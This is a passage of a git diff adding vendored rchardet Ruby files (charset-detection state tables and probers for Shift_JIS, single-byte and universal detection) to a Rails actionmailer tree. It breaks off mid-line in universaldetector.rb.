1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,3,3,3, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,3,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 2,2,2,2,2,2,2,2, # e0 - e7 + 2,2,2,2,2,2,2,2, # e8 - ef + 2,2,2,2,2,2,2,2, # f0 - f7 + 2,2,2,2,2,2,2,0 # f8 - ff + ] + + EUCKR_st = [ + EError,EStart, 3,EError,EError,EError,EError,EError,#00-07 + EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,EStart,EStart#08-0f + ] + + EUCKRCharLenTable = [0, 1, 2, 0] + + EUCKRSMModel = {'classTable' => EUCKR_cls, + 'classFactor' => 4, + 'stateTable' => EUCKR_st, + 'charLenTable' => EUCKRCharLenTable, + 'name' => 'EUC-KR' + } + + # EUC-TW + + EUCTW_cls = [ + 2,2,2,2,2,2,2,2, # 00 - 07 + 2,2,2,2,2,2,0,0, # 08 - 0f + 2,2,2,2,2,2,2,2, # 10 - 17 + 2,2,2,0,2,2,2,2, # 18 - 1f + 2,2,2,2,2,2,2,2, # 20 - 27 + 2,2,2,2,2,2,2,2, # 28 - 2f + 2,2,2,2,2,2,2,2, # 30 - 37 + 2,2,2,2,2,2,2,2, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,2, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,6,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,3,4,4,4,4,4,4, # a0 - a7 + 5,5,1,1,1,1,1,1, # a8 - af + 1,1,1,1,1,1,1,1, # b0 - b7 + 1,1,1,1,1,1,1,1, # b8 - bf + 1,1,3,1,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff + ] + + EUCTW_st = [ + EError,EError,EStart, 3, 3, 3, 4,EError,#00-07 + EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EStart,EError,#10-17 + EStart,EStart,EStart,EError,EError,EError,EError,EError,#18-1f + 5,EError,EError,EError,EStart,EError,EStart,EStart,#20-27 + EStart,EError,EStart,EStart,EStart,EStart,EStart,EStart #28-2f + ] + + EUCTWCharLenTable = [0, 0, 1, 2, 2, 2, 3] + + EUCTWSMModel = {'classTable' => EUCTW_cls, + 'classFactor' => 7, + 'stateTable' => EUCTW_st, + 'charLenTable' => EUCTWCharLenTable, + 'name' => 'x-euc-tw' + } + + # GB2312 + + GB2312_cls = [ + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 3,3,3,3,3,3,3,3, # 30 - 37 + 3,3,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,4, # 78 - 7f + 5,6,6,6,6,6,6,6, # 80 - 87 + 6,6,6,6,6,6,6,6, # 88 - 8f + 6,6,6,6,6,6,6,6, # 90 - 97 + 6,6,6,6,6,6,6,6, # 98 - 9f + 6,6,6,6,6,6,6,6, # a0 - a7 + 6,6,6,6,6,6,6,6, # a8 - af + 6,6,6,6,6,6,6,6, # b0 - b7 + 6,6,6,6,6,6,6,6, # b8 - bf + 6,6,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 6,6,6,6,6,6,6,6, # e0 - e7 + 6,6,6,6,6,6,6,6, # e8 - ef + 6,6,6,6,6,6,6,6, # f0 - f7 + 6,6,6,6,6,6,6,0 # f8 - ff + ] + + GB2312_st = [ + EError,EStart,EStart,EStart,EStart,EStart, 3,EError,#00-07 + EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,EStart,#10-17 + 4,EError,EStart,EStart,EError,EError,EError,EError,#18-1f + EError,EError, 5,EError,EError,EError,EItsMe,EError,#20-27 + EError,EError,EStart,EStart,EStart,EStart,EStart,EStart#28-2f + ] + + # To be accurate, the length of class 6 can be either 2 or 4. + # But it is not necessary to discriminate between the two since + # it is used for frequency analysis only, and we are validing + # each code range there as well. So it is safe to set it to be + # 2 here. + GB2312CharLenTable = [0, 1, 1, 1, 1, 1, 2] + + GB2312SMModel = {'classTable' => GB2312_cls, + 'classFactor' => 7, + 'stateTable' => GB2312_st, + 'charLenTable' => GB2312CharLenTable, + 'name' => 'GB2312' + } + + # Shift_JIS + + SJIS_cls = [ + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 3,3,3,3,3,3,3,3, # 80 - 87 + 3,3,3,3,3,3,3,3, # 88 - 8f + 3,3,3,3,3,3,3,3, # 90 - 97 + 3,3,3,3,3,3,3,3, # 98 - 9f + #0xa0 is illegal in sjis encoding, but some pages does + #contain such byte. We need to be more error forgiven. + 2,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,4,4,4, # e8 - ef + 4,4,4,4,4,4,4,4, # f0 - f7 + 4,4,4,4,4,0,0,0 # f8 - ff + ] + + SJIS_st = [ + EError,EStart,EStart, 3,EError,EError,EError,EError,#00-07 + EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe,EError,EError,EStart,EStart,EStart,EStart#10-17 + ] + + SJISCharLenTable = [0, 1, 1, 2, 0, 0] + + SJISSMModel = {'classTable' => SJIS_cls, + 'classFactor' => 6, + 'stateTable' => SJIS_st, + 'charLenTable' => SJISCharLenTable, + 'name' => 'Shift_JIS' + } + + # UCS2-BE + + UCS2BE_cls = [ + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff + ] + + UCS2BE_st = [ + 5, 7, 7,EError, 4, 3,EError,EError,#00-07 + EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe, 6, 6, 6, 6,EError,EError,#10-17 + 6, 6, 6, 6, 6,EItsMe, 6, 6,#18-1f + 6, 6, 6, 6, 5, 7, 7,EError,#20-27 + 5, 8, 6, 6,EError, 6, 6, 6,#28-2f + 6, 6, 6, 6,EError,EError,EStart,EStart#30-37 + ] + + UCS2BECharLenTable = [2, 2, 2, 0, 2, 2] + + UCS2BESMModel = {'classTable' => UCS2BE_cls, + 'classFactor' => 6, + 'stateTable' => UCS2BE_st, + 'charLenTable' => UCS2BECharLenTable, + 'name' => 'UTF-16BE' + } + + # UCS2-LE + + UCS2LE_cls = [ + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff + ] + + UCS2LE_st = [ + 6, 6, 7, 6, 4, 3,EError,EError,#00-07 + EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,#08-0f + EItsMe,EItsMe, 5, 5, 5,EError,EItsMe,EError,#10-17 + 5, 5, 5,EError, 5,EError, 6, 6,#18-1f + 7, 6, 8, 8, 5, 5, 5,EError,#20-27 + 5, 5, 5,EError,EError,EError, 5, 5,#28-2f + 5, 5, 5,EError, 5,EError,EStart,EStart#30-37 + ] + + UCS2LECharLenTable = [2, 2, 2, 2, 2, 2] + + UCS2LESMModel = {'classTable' => UCS2LE_cls, + 'classFactor' => 6, + 'stateTable' => UCS2LE_st, + 'charLenTable' => UCS2LECharLenTable, + 'name' => 'UTF-16LE' + } + + # UTF-8 + + UTF8_cls = [ + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 2,2,2,2,3,3,3,3, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 5,5,5,5,5,5,5,5, # a0 - a7 + 5,5,5,5,5,5,5,5, # a8 - af + 5,5,5,5,5,5,5,5, # b0 - b7 + 5,5,5,5,5,5,5,5, # b8 - bf + 0,0,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 7,8,8,8,8,8,8,8, # e0 - e7 + 8,8,8,8,8,9,8,8, # e8 - ef + 10,11,11,11,11,11,11,11, # f0 - f7 + 12,13,13,13,14,15,0,0 # f8 - ff + ] + + UTF8_st = [ + EError,EStart,EError,EError,EError,EError, 12, 10,#00-07 + 9, 11, 8, 7, 6, 5, 4, 3,#08-0f + EError,EError,EError,EError,EError,EError,EError,EError,#10-17 + EError,EError,EError,EError,EError,EError,EError,EError,#18-1f + EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,#20-27 + EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,#28-2f + EError,EError, 5, 5, 5, 5,EError,EError,#30-37 + EError,EError,EError,EError,EError,EError,EError,EError,#38-3f + EError,EError,EError, 5, 5, 5,EError,EError,#40-47 + EError,EError,EError,EError,EError,EError,EError,EError,#48-4f + EError,EError, 7, 7, 7, 7,EError,EError,#50-57 + EError,EError,EError,EError,EError,EError,EError,EError,#58-5f + EError,EError,EError,EError, 7, 7,EError,EError,#60-67 + EError,EError,EError,EError,EError,EError,EError,EError,#68-6f + EError,EError, 9, 9, 9, 9,EError,EError,#70-77 + EError,EError,EError,EError,EError,EError,EError,EError,#78-7f + EError,EError,EError,EError,EError, 9,EError,EError,#80-87 + EError,EError,EError,EError,EError,EError,EError,EError,#88-8f + EError,EError, 12, 12, 12, 12,EError,EError,#90-97 + EError,EError,EError,EError,EError,EError,EError,EError,#98-9f + EError,EError,EError,EError,EError, 12,EError,EError,#a0-a7 + EError,EError,EError,EError,EError,EError,EError,EError,#a8-af + EError,EError, 12, 12, 12,EError,EError,EError,#b0-b7 + EError,EError,EError,EError,EError,EError,EError,EError,#b8-bf + EError,EError,EStart,EStart,EStart,EStart,EError,EError,#c0-c7 + EError,EError,EError,EError,EError,EError,EError,EError#c8-cf + ] + + UTF8CharLenTable = [0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6] + + UTF8SMModel = {'classTable' => UTF8_cls, + 'classFactor' => 16, + 'stateTable' => UTF8_st, + 'charLenTable' => UTF8CharLenTable, + 'name' => 'UTF-8' + } +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb new file mode 100755 index 00000000..dc167746 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb @@ -0,0 +1,124 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + SAMPLE_SIZE = 64 + SB_ENOUGH_REL_THRESHOLD = 1024 + POSITIVE_SHORTCUT_THRESHOLD = 0.95 + NEGATIVE_SHORTCUT_THRESHOLD = 0.05 + SYMBOL_CAT_ORDER = 250 + NUMBER_OF_SEQ_CAT = 4 + POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1 + #NEGATIVE_CAT = 0 + + class SingleByteCharSetProber < CharSetProber + def initialize(model, reversed=false, nameProber=nil) + super() + @_mModel = model + @_mReversed = reversed # TRUE if we need to reverse every pair in the model lookup + @_mNameProber = nameProber # Optional auxiliary prober for name decision + reset() + end + + def reset + super() + @_mLastOrder = 255 # char order of last character + @_mSeqCounters = [0] * NUMBER_OF_SEQ_CAT + @_mTotalSeqs = 0 + @_mTotalChar = 0 + @_mFreqChar = 0 # characters that fall in our sampling range + end + + def get_charset_name + if @_mNameProber + return @_mNameProber.get_charset_name() + else + return @_mModel['charsetName'] + end + end + + def feed(aBuf) + if not @_mModel['keepEnglishLetter'] + aBuf = filter_without_english_letters(aBuf) + end + aLen = aBuf.length + if not aLen + return get_state() + end + aBuf.each_byte do |b| + c = b.chr + order = @_mModel['charToOrderMap'][c[0]] + if order < SYMBOL_CAT_ORDER + @_mTotalChar += 1 + end + if order < SAMPLE_SIZE + @_mFreqChar += 1 + if @_mLastOrder < SAMPLE_SIZE + @_mTotalSeqs += 1 + if not @_mReversed + @_mSeqCounters[@_mModel['precedenceMatrix'][(@_mLastOrder * SAMPLE_SIZE) + order]] += 1 + else # reverse the order of the letters in the lookup + @_mSeqCounters[@_mModel['precedenceMatrix'][(order * SAMPLE_SIZE) + @_mLastOrder]] += 1 + end + end + end + @_mLastOrder = order + end + + if get_state() == EDetecting + if @_mTotalSeqs > SB_ENOUGH_REL_THRESHOLD + cf = get_confidence() + if cf > POSITIVE_SHORTCUT_THRESHOLD + $stderr << "#{@_mModel['charsetName']} confidence = #{cf}, we have a winner\n" if $debug + @_mState = EFoundIt + elsif cf < NEGATIVE_SHORTCUT_THRESHOLD + $stderr << "#{@_mModel['charsetName']} confidence = #{cf}, below negative shortcut threshold #{NEGATIVE_SHORTCUT_THRESHOLD}\n" if $debug + @_mState = ENotMe + end + end + end + + return get_state() + end + + def get_confidence + r = 0.01 + if @_mTotalSeqs > 0 + # print self._mSeqCounters[POSITIVE_CAT], self._mTotalSeqs, self._mModel['mTypicalPositiveRatio'] + r = (1.0 * @_mSeqCounters[POSITIVE_CAT]) / @_mTotalSeqs / @_mModel['mTypicalPositiveRatio'] + # print r, self._mFreqChar, self._mTotalChar + r = r * @_mFreqChar / @_mTotalChar + if r >= 1.0 + r = 0.99 + end + end + return r + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb new file mode 100755 index 00000000..2251ed3d --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb @@ -0,0 +1,56 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class SBCSGroupProber < CharSetGroupProber + def initialize + super + @_mProbers = [ SingleByteCharSetProber.new(Win1251CyrillicModel), + SingleByteCharSetProber.new(Koi8rModel), + SingleByteCharSetProber.new(Latin5CyrillicModel), + SingleByteCharSetProber.new(MacCyrillicModel), + SingleByteCharSetProber.new(Ibm866Model), + SingleByteCharSetProber.new(Ibm855Model), + SingleByteCharSetProber.new(Latin7GreekModel), + SingleByteCharSetProber.new(Win1253GreekModel), + SingleByteCharSetProber.new(Latin5BulgarianModel), + SingleByteCharSetProber.new(Win1251BulgarianModel), + SingleByteCharSetProber.new(Latin2HungarianModel), + SingleByteCharSetProber.new(Win1250HungarianModel), + SingleByteCharSetProber.new(TIS620ThaiModel) ] + hebrewProber = HebrewProber.new() + logicalHebrewProber = SingleByteCharSetProber.new(Win1255HebrewModel, false, hebrewProber) + visualHebrewProber = SingleByteCharSetProber.new(Win1255HebrewModel, true, hebrewProber) + hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) + @_mProbers += [hebrewProber, logicalHebrewProber, visualHebrewProber] + + reset() + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb new file mode 100755 index 00000000..2205d3e2 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb @@ -0,0 +1,88 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class SJISProber < MultiByteCharSetProber + def initialize + super() + @_mCodingSM = CodingStateMachine.new(SJISSMModel) + @_mDistributionAnalyzer = SJISDistributionAnalysis.new() + @_mContextAnalyzer = SJISContextAnalysis.new() + reset() + end + + def reset + super() + @_mContextAnalyzer.reset() + end + + def get_charset_name + return "SHIFT_JIS" + end + + def feed(aBuf) + aLen = aBuf.length + for i in (0...aLen) + codingState = @_mCodingSM.next_state(aBuf[i..i]) + if codingState == EError + $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug + @_mState = ENotMe + break + elsif codingState == EItsMe + @_mState = EFoundIt + break + elsif codingState == EStart + charLen = @_mCodingSM.get_current_charlen() + if i == 0 + @_mLastChar[1] = aBuf[0..0] + @_mContextAnalyzer.feed(@_mLastChar[2 - charLen..-1], charLen) + @_mDistributionAnalyzer.feed(@_mLastChar, charLen) + else + @_mContextAnalyzer.feed(aBuf[i + 1 - charLen ... i + 3 - charLen], charLen) + @_mDistributionAnalyzer.feed(aBuf[i - 1 ... i + 1], charLen) + end + end + end + + @_mLastChar[0] = aBuf[aLen - 1.. aLen-1] + + if get_state() == EDetecting + if @_mContextAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD) + @_mState = EFoundIt + end + end + + return get_state() + end + + def get_confidence + l = [@_mContextAnalyzer.get_confidence(), @_mDistributionAnalyzer.get_confidence()] + return l.max + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb new file mode 100644 index 00000000..c8990c61 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb @@ -0,0 +1,168 @@ +# encoding: us-ascii +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + MINIMUM_THRESHOLD = 0.20 + EPureAscii = 0 + EEscAscii = 1 + EHighbyte = 2 + + class UniversalDetector + attr_accessor :result + def initialize + @_highBitDetector = /[\x80-\xFF]/ + @_escDetector = /(\033|\~\{)/ + @_mEscCharSetProber = nil + @_mCharSetProbers = [] + reset() + end + + def reset + @result = {'encoding' => nil, 'confidence' => 0.0} + @done = false + @_mStart = true + @_mGotData = false + @_mInputState = EPureAscii + @_mLastChar = '' + if @_mEscCharSetProber + @_mEscCharSetProber.reset() + end + for prober in @_mCharSetProbers + prober.reset() + end + end + + def feed(aBuf) + return if @done + + aLen = aBuf.length + return if not aLen + + if not @_mGotData + # If the data starts with BOM, we know it is UTF + if aBuf[0...3] == "\xEF\xBB\xBF" + # EF BB BF UTF-8 with BOM + @result = {'encoding' => "UTF-8", 'confidence' => 1.0} + elsif aBuf[0...4] == 